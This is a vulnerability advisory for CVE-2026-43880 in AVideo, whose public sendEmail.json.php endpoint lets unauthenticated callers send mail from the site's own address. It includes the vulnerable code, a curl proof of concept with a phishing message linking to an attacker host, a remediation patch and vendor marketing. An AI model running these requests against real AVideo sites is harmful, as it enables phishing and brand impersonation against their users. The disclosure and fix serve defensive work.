Summary
objects/sendEmail.json.php exposes two branches depending on whether contactForm=1 is submitted. When the parameter is omitted, the endpoint sets $sendTo to an attacker-supplied email and, for unauthenticated callers, uses the site's own contact email as the message From:/Reply-To:. The endpoint is explicitly allow-listed as a "public write action" in objects/functionsSecurity.php (line 885), so it requires no authentication or CSRF token. An unauthenticated attacker (solving a captcha) can force the site's own SMTP infrastructure to send attacker-composed emails to arbitrary recipients with the site's legitimate sender address, passing SPF/DKIM/DMARC for the site's domain, ideal for targeted phishing and brand impersonation.
Details
Vulnerable code (objects/sendEmail.json.php):
10: $valid = Captcha::validation(@$_POST['captcha']);
11: if(User::isAdmin()){
12: $valid = true;
13: }
...
16: if ($valid) {
...
24: $mail = new \PHPMailer\PHPMailer\PHPMailer();
25: setSiteSendMessage($mail); // uses site's SMTP credentials
...
30: $replyTo = User::getEmail_();
31: if (empty($replyTo)) {
32: $replyTo = $config->getContactEmail(); // <-- FALLBACK to site's own email
33: }
34:
35: $sendTo = $_POST['email']; // attacker-controlled recipient
36:
37: // if it is from contact form send the message to the siteowner and the sender is the email on the form field
38: if (!empty($_POST['contactForm'])) {
39: $replyTo = $_POST['email'];
40: $sendTo = $config->getContactEmail();
41: }
42:
43: if (filter_var($sendTo, FILTER_VALIDATE_EMAIL)) {
44: $mail->AddReplyTo($replyTo); // site's address
45: $mail->setFrom($replyTo); // From: site's address
...
47: $mail->addAddress($sendTo); // TO: attacker-chosen victim
...
49: $safeFirstName = htmlspecialchars($_POST['first_name'], ENT_QUOTES, 'UTF-8');
50: $mail->Subject = 'Message From Site ' . $config->getWebSiteTitle() . " ({$safeFirstName})";
51: $mail->msgHTML($msg);
...
55: if (!$mail->send()) { ... }
User::getEmail_() (objects/user.php:345-352): returns '' when the caller is not logged in, driving the fallback to $config->getContactEmail().
Endpoint is publicly callable. objects/functionsSecurity.php:879-918 lists sendEmail.json.php in the built-in "public write actions" CSRF/same-domain bypass:
static $builtinBypass = [
...
// Public write actions
'sendEmail.json.php',
...
];
if (in_array($baseName, $builtinBypass, true)) { return; }
Why existing defenses don't mitigate the abuse:
- Captcha (
Captcha::validation): costs one solve per email. Manual solves remain viable for targeted phishing, and a separate captcha-bypass primitive in this codebase (tracked separately) automates abuse. FILTER_VALIDATE_EMAIL(line 43): validates$sendToformat, preventing CRLF/header injection, but does not verify that the sender is authorized to send to that address.htmlspecialcharson$safeEmail/$safeComment/$safeFirstName: blocks HTML injection in the rendered message but does not prevent phishing content, attacker fully controls the visible text (URL, instructions) and the perceived sender.- No rate limiting, no auth check, no association between the caller and the recipient address.
Flow summary for the abuse case (unauthenticated, no contactForm):
User::getEmail_()→'', so$replyTo= site's contact email (line 32)$sendTo= attacker's chosen recipient (line 35)contactFormbranch skipped (line 38)- Site's SMTP sends
From: <site contact>to<victim>with attacker's subject/body (lines 44-51)
Because the message is genuinely relayed by the site's mail infrastructure, SPF/DKIM/DMARC for the site's domain pass, making the phishing message indistinguishable from legitimate site mail.
PoC
Endpoint: POST /objects/sendEmail.json.php (also reachable via POST /sendEmail per .htaccess:201).
# 1. Obtain a session + captcha image
curl -c cookies.txt -s 'http://target.example.com/captcha.php?refresh=1' -o captcha.png
# attacker manually solves the captcha -> e.g. 'abc123'
# 2. Send phishing email. Note: contactForm is OMITTED.
# - User::getEmail_() returns '' (unauth) -> $replyTo falls back to site's contact email
# - $sendTo = attacker-chosen recipient
# - setFrom($replyTo) -> From: is the site's real address
curl -b cookies.txt -s -X POST 'http://target.example.com/objects/sendEmail.json.php' \
--data-urlencode 'captcha=abc123' \
--data-urlencode '[email protected]' \
--data-urlencode 'first_name=Support Team' \
--data-urlencode 'comment=Urgent: Your account will be suspended. Please verify at http://attacker.example.com/reset'
Expected server response:
{"error":"","success":"Message sent"}
Delivered headers at [email protected]:
From: <site's legitimate contact email, e.g. [email protected]>
Reply-To: <site's legitimate contact email>
To: [email protected]
Subject: Message From Site <SiteName> (Support Team)
Body: <b>Email:</b> [email protected]<br><br>Urgent: Your account will be suspended...
Contrast with the intended contactForm=1 flow (correctly routes to the site owner):
curl -b cookies.txt -s -X POST 'http://target.example.com/objects/sendEmail.json.php' \
--data-urlencode 'captcha=<newcaptcha>' \
--data-urlencode '[email protected]' \
--data-urlencode 'comment=hi' \
--data-urlencode 'contactForm=1'
# -> $sendTo = site owner's contact email; $replyTo = attacker's email. (Normal contact form.)
Omitting contactForm inverts the routing and turns the endpoint into an unauthenticated sender-for-hire using the site's own From: identity.
Impact
- Phishing with the site's real sender identity. Mail originates from the site's SMTP, so SPF/DKIM/DMARC pass; the message is indistinguishable from legitimate site communications and bypasses inbox anti-phishing heuristics.
- Brand impersonation / account-takeover chains. Attacker-controlled subject (
first_name) and body (comment) support credential-harvesting pages that appear to come from the site operator. - Mail-reputation damage. Repeated abuse can blacklist the site's sending IP/domain, degrading legitimate mail deliverability.
- Works against any AVideo instance with SMTP configured, a default deployment after the admin configures SMTP for standard notifications. No privileged position, credentials, or non-default flags required.
CVE-2026-43880 has a CVSS score of 5.3 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Collapse the endpoint to contact-owner-only behavior and require either authentication or contactForm=1. Minimal patch:
// objects/sendEmail.json.php
...
$valid = Captcha::validation(@$_POST['captcha']);
if (User::isAdmin()) {
$valid = true;
}
// Reject the non-contactForm branch for unauthenticated callers.
// The "share with a friend" flow already requires User::isLogged()
// in the UI (view/.../functiongetShareMenu.php), so enforce it here too.
if (empty($_POST['contactForm']) && !User::isLogged()) {
$obj = new stdClass();
$obj->error = __("Authentication required");
header('Content-Type: application/json');
echo json_encode($obj);
exit;
}
$obj = new stdClass();
$obj->error = '';
if ($valid) {
...
$replyTo = User::getEmail_();
if (empty($replyTo)) {
// Should no longer be reachable for arbitrary recipients.
// Keep as defense-in-depth only for contactForm=1 path.
$replyTo = $config->getContactEmail();
}
...
}
Additional hardening:
- Always use a dedicated
no-reply@address insetFrom(); put the caller's address only inReply-To. Never reuse$config->getContactEmail()as the From for user-initiated messages. - For the logged-in "share" flow, verify the caller's email has been confirmed, and rate-limit by user id and by IP.
- Drop the non-
contactFormbranch entirely if no legitimate unauthenticated UI caller remains. - Add a visible "user-submitted message via our site" banner to the email body so recipients can distinguish these from first-party communications.
Frequently Asked Questions
- What is CVE-2026-43880? CVE-2026-43880 is a medium-severity security vulnerability in wwbn/avideo (composer), affecting versions <= 29.0. No fixed version is listed yet.
- How severe is CVE-2026-43880? CVE-2026-43880 has a CVSS score of 5.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of wwbn/avideo are affected by CVE-2026-43880? wwbn/avideo (composer) versions <= 29.0 is affected.
- Is there a fix for CVE-2026-43880? No fixed version is listed for CVE-2026-43880 yet. Monitor the advisory for updates and apply mitigations in the interim.
- Is CVE-2026-43880 exploitable, and should I be worried? Whether CVE-2026-43880 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-43880 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.